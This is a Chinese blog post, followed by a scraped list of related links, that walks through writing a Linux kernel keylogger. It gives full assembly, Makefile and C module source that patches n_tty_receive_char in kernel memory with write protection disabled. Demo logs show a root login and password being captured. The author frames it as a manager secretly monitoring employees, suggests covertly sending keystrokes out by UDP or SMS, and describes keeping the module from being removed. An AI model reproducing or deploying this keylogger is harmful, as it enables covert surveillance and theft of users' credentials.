刚毕业那会儿,VC6学习MFC,总得来点儿好玩的东西才能继续下去,毕竟不是科班出身,得完全靠意义去驱动…那个时候认识了键盘钩子,鼠标钩子之类:
https://blog.csdn.net/dog250/article/details/5303610

这种方法貌似还可以盗号…只是QQ早就解决了这个问题。

不说Windows钩子了,说说Linux系统中如何监控键盘输入,这简直太简单了。

关于Linux终端,详见:
https://blog.csdn.net/dog250/article/details/78766716
接下来我们就知道如何搞了:

  • hook n_tty_receive_char函数

我们先看下实际效果:

stap -e 'probe kernel.function("n_tty_receive_char") {printf("%c  ", $c);}'

我们看看会发生什么,在随便一个ssh终端敲入pwd,ls等命令,stap回显如下

  l  s     p  w  d

这里只是演示,下面我们来实现它。

很容易想到得是,直接将n_tty_receive_char函数的开头5个字节的Ftrace caller改成一个call stub即可,一般的stap也都是这么干的,然而我们实际看一眼:

crash>
crash> dis n_tty_receive_char
0xffffffff813b28d0 <n_tty_receive_char>:        int3
0xffffffff813b28d1 <n_tty_receive_char+1>:      mov    %rsp,%rbp
0xffffffff813b28d4 <n_tty_receive_char+4>:      push   %r15
0xffffffff813b28d6 <n_tty_receive_char+6>:      push   %r14
0xffffffff813b28d8 <n_tty_receive_char+8>:      mov    %rdi,%r14
0xffffffff813b28db <n_tty_receive_char+11>:     push   %r13
0xffffffff813b28dd <n_tty_receive_char+13>:     push   %r12
0xffffffff813b28df <n_tty_receive_char+15>:     push   %rbx
0xffffffff813b28e0 <n_tty_receive_char+16>:     sub    $0x20,%rsp
...

很遗憾,不能 替换前5个字节 ,stap采用了int3断点机制。

我也想采用int3,但后来我发现太麻烦了,我需要register一个die notifier,首先我要先定义一个notifier block,事实上,我要实现一个非常复杂的回调函数,内部要识别是n_tty_receive_char引发的int3,同时还要解析pt_regs,并且手工平衡stack,这不是我的风格!

我只能用很短的代码实现,因为我不会编程。

所以我要用我的inline hook方式:

  • 在n_tty_receive_char的第一个分支之前,找一个优秀的满足5个字节替换的hook点。

我一眼就相中了下面的5个字节:

0xffffffff813b28db <n_tty_receive_char+11>:     push   %r13
0xffffffff813b28dd <n_tty_receive_char+13>:     push   %r12
0xffffffff813b28df <n_tty_receive_char+15>:     push   %rbx

好吧,就它了,我只需将这5个字节替换成:

call stub

即可,而stub的内容有两部分:

  1. 重新执行被替换的部分。
  2. 执行键盘操作记录逻辑。
stub:pop %r11  ; 翻转retcode的位置之一push %r13push %r12push %rbxpush %r11 ; 翻转retcode的位置之二call loggerret

事实上的代码要复杂些,因为我们还要保证在调用完logger之后,rsi,rdi依然保存着n_tty_receive_char的参数,所以需要将更多的寄存器压栈。

必须说明的是,stub函数最好用汇编写,因为我不需要gcc生成的prologue & epilogue,而且x86_64体系又不能用naked属性 __attribute__ ((naked)),好吧,那就直接写汇编:

; stub.s
section .text
global logger_stub
extern logger
logger_stub:pop  r11    ; 为了平衡堆栈,call logger_stub压栈的retcode弹出push r13    ; 重新执行被hook的指令:压栈r13push r12 ; 重新执行被hook的指令:压栈r12push rbx ; 重新执行被hook的指令:压栈rbxpush r11 ; 将call logger_stub的retcode重新压栈push rbp ; 保存rbppush rsp ; 保存rsppush rsi ; 保存n_tty_receive_char参数,同时也是logger参数push rdi    ; 保存n_tty_receive_char参数,同时也是logger参数call logger ; 调用logger函数,这个函数是核心,其它的都是铺垫pop  rdipop  rsipop  rsppop  rbpret

先看Makefile:

obj-m += keylog.o
keylog-objs := logger.o stub.oKDIR := /lib/modules/`uname -r`/build
PWD := $(shell pwd)
default:nasm -f elf64 -o stub.o stub.smake -C $(KDIR) M=$(PWD) modules

再看模块的C文件:

#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/tty.h>void logger(struct tty_struct *tty, char c)
{printk("[0x%02x]:%c, %s\n", c, c, tty->name);// 这里仅仅演示一下,打印到内核缓冲区,实际上应该UDP发给经理
}extern int logger_stub;/** crash> dis n_tty_receive_char*   0xffffffff813b28d0 <n_tty_receive_char>:        push   %rbp*  0xffffffff813b28d1 <n_tty_receive_char+1>:      mov    %rsp,%rbp*    0xffffffff813b28d4 <n_tty_receive_char+4>:      push   %r15* 0xffffffff813b28d6 <n_tty_receive_char+6>:      push   %r14* 0xffffffff813b28d8 <n_tty_receive_char+8>:      mov    %rdi,%r14*    0xffffffff813b28db <n_tty_receive_char+11>:     push   %r13* 0xffffffff813b28dd <n_tty_receive_char+13>:     push   %r12* 0xffffffff813b28df <n_tty_receive_char+15>:     push   %rbx* 0xffffffff813b28e0 <n_tty_receive_char+16>:     sub    $0x20,%rsp*   0xffffffff813b28e4 <n_tty_receive_char+20>:     mov    0x210(%rdi),%r12* 0xffffffff813b28eb <n_tty_receive_char+27>:     testb  $0x4,0x14(%r12)*  0xffffffff813b28f1 <n_tty_receive_char+33>:     jne    0xffffffff813b2a90 <n_tty_receive_char+448>*/
// 参见上述反汇编,在第一个分支之前来找一个优秀的5个字节hook点,我选择了offset 11~15
#define HOOK_OFFSET     11
#define HOOK_SIZE       5unsigned long addr, cr0;
unsigned char *pold;static int __init KeyboardMonitor_init(void)
{unsigned char e8_call[HOOK_SIZE];s32 offset;addr = (unsigned long)kallsyms_lookup_name("n_tty_receive_char");if (!addr) {return -1;}e8_call[0] = 0xe8;offset = (s32)((long)&logger_stub - (long)(addr + 11) - 5);(*(s32 *)(&e8_call[1])) = offset;cr0 = read_cr0();clear_bit(16, &cr0);pold = (unsigned char *)addr;memcpy(&pold[11], e8_call, HOOK_SIZE);set_bit(16, &cr0);write_cr0(cr0);//hide_mod(); // 不提供exit接口即可,经理正当监控,无需炫技隐藏!return 0;
}module_init(KeyboardMonitor_init);
MODULE_LICENSE("GPL");

这次是经理的正当理由监控, 我就装了个模块监控你了,你能怎么地?我光明正大监控你的输入,所以我不用隐藏我自己,我只要不让你把我的监控模块卸了就行。

来来来:

[root@localhost test]# insmod ./keylog.ko
[root@localhost test]#
[root@localhost test]#
[root@localhost test]#
[root@localhost test]# dmesg
, pts0.256310] [0x0d]:
, pts0.440261] [0x0d]:
, pts0.584438] [0x0d]:
[17286.839276] [0x64]:d, pts0
[17286.928489] [0x6d]:m, pts0
[17287.064189] [0x65]:e, pts0
[17287.256186] [0x73]:s, pts0
[17287.408053] [0x09]:  , pts0
, pts0.832093] [0x0d]:

试着在别的终端上拍几个键,试着直接在终端输入你的root用户名以及密码:

[root@localhost test]# dmesg
, pts0.928190] [0x0d]:
[17396.801053] [0x72]:r, tty1
[17396.966363] [0x6f]:o, tty1
[17397.150358] [0x6f]:o, tty1
[17397.286591] [0x74]:t, tty1
, tty1.382471] [0x0d]:
[17399.382712] [0x31]:1, tty1
, tty1.774790] [0x0d]:
[17402.524715] [0x00]:
[17402.575867] [0x00]:
[17404.016436] [0x64]:d, pts0
[17404.192068] [0x6d]:m, pts0
[17404.248593] [0x65]:e, pts0
[17404.440315] [0x73]:s, pts0
[17404.616106] [0x09]:  , pts0
, pts0.088138] [0x0d]:

正常情况下,这个信息不应该打印在dmesg的,这里只是演示效果,正常情况下,这个信息应该偷偷用UDP包的形式发给经理,或者用短信的方式发到经理的手机上。

然而,机器被断网了怎么办?发给经理的网络通道被封堵了怎么办?这又是一个左右手互搏的过程。


浙江温州皮鞋湿,下雨进水不会胖。

Linux内核实时监控键盘输入相关推荐

  1. 监控linux终端键盘输入,Linux内核实时监控键盘输入

    刚毕业那会儿,VC6学习MFC,总得来点儿好玩的东西才能继续下去,毕竟不是科班出身,得完全靠意义去驱动-那个时候认识了键盘钩子,鼠标钩子之类: https://blog.csdn.net/dog250 ...

  2. QT接收Linux内核,嵌入式linux上QT标准键盘输入的实现

    在嵌入式平台上运行QTE时,使用的键盘通常不是标准键盘,而是嵌入式设备外扩的普通按键.那么实现QTE键盘输入的方法大体上可以分为两类: (1)编写一个普通按键驱动,然后开辟一个QT线程读取按键值,在通 ...

  3. python监听键盘的库的名称_python实时监控键盘鼠标,pynput库的详细用法

    前言 本节为你详细介绍python的第三方库pynput监控鼠标键盘的用法,该库允许您控制和监视输入设备.目前,支持鼠标和键盘输入和监视. 对于每一种输入设备,它包含一个子包来控制和监控该种输入设备: ...

  4. qt 调用linux键盘输入,嵌入式linux上QT标准键盘输入的实现

    1.嵌入式linux上QT标准键盘输入的实现 在嵌入式平台上运行QTE时,使用的键盘通常不是标准键盘,而是嵌入式设备外扩的普通按键.那么实现QTE键盘输入的方法大体上可以分为两类: (1)编写一个普通 ...

  5. 嵌入式linux上QT标准键盘输入的实现

    作者:刘洪涛,华清远见嵌入式学院讲师. 在嵌入式平台上运行QTE时,使用的键盘通常不是标准键盘,而是嵌入式设备外扩的普通按键.那么实现QTE键盘输入的方法大体上可以分为两类: (1)编写一个普通按键驱 ...

  6. linux c 文件键盘写入,linux - C非阻塞键盘输入

    linux - C非阻塞键盘输入 我正在尝试用C语言编写一个程序(在Linux上)循环直到用户按下一个键,但不应该要求按键继续每个循环. 有一个简单的方法吗? 我想我可以用select()这样做,但这 ...

  7. python键盘输入代码,python监控键盘输入实例代码

    本文研究的主要是python监控键盘输入的相关代码,用到了os,sys,time等,具体实现代码如下: #!/usr/bin/env python # -*- coding: utf-8 -*- im ...

  8. linux 线程优先级的高低和执行顺序的关系,混乱的Linux内核实时线程优先级

    原标题:混乱的Linux内核实时线程优先级 背景 Linux会把进程分为普通进程和实时进程,普通进程采用CFS之类调度算法,而实时进程则是采用SCHED_FIFO或SCHED_RR. 无论优先级高低, ...

  9. Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中

    Python:监控键盘输入.鼠标操作,并将捕获到的信息记录到文件中 - Socrates的专栏 - 博客频道 - CSDN.NET Python:监控键盘输入.鼠标操作,并将捕获到的信息记录到文件中 ...

最新文章

  1. iOS UINavigationController
  2. Cordova打包的Vue项目在IOS无法拉起支付宝和微信支付
  3. Android笔记(三十一)Android中线程之间的通信(三)子线程给主线程发送消息...
  4. 《Nmap渗透测试指南》—第2章2.2节使用Zenmap进行扫描
  5. SnipperImages(Silverlight DEMO)控件设计之--Slider和ColorSlider
  6. 【C++深度剖析教程37】类模板的概念和意义
  7. 算法设计中的基础常用代码
  8. 朴宥拉短片突破了几百万的观看量
  9. 数组的 sort() 方法详解
  10. hdu5652:India and China Origins(并查集)
  11. 空调在计算机系统属于什么行业,暖通行业隶属国民经济行业分类的哪一类
  12. C#使用Aforge对uvc协议摄像头亮度属性的更改
  13. Yingye Zhu‘s Luogu Background
  14. Java抽象类、接口理解
  15. ImageNet-1k分类数据集中英对照表 验证集类别解析
  16. 练手小项目——canvas放大镜效果 放大图片
  17. ARM中的字、半字、字节是多少位?
  18. 我爱Java系列之---【组员在idea中使用Git】
  19. 90后在校大学生开旅游公司创业
  20. 【华为OD机试真题 JAVA】用连续自然数之和来表达整数

热门文章

  1. C++:斐波那契数列(迭代和递归)
  2. Windows 安全更新程序 (KB911280)(转)
  3. 计算机怎么关闭u盘系统还原,u盘有写保护怎么解除?如何关闭u盘写的保护?
  4. 微信小程序云开发之微信支付
  5. 微型计算机硬件组成框图视频讲解,第1章 微型计算机的概述.ppt
  6. 创业税收法则 (一)
  7. Matlab的数组索引
  8. 2015北上广深杭平均薪资一览
  9. 线程池的使用(结合Future/Callable使用)
  10. html5 字体位置,html5字体样式 移动 html5 中文什么字体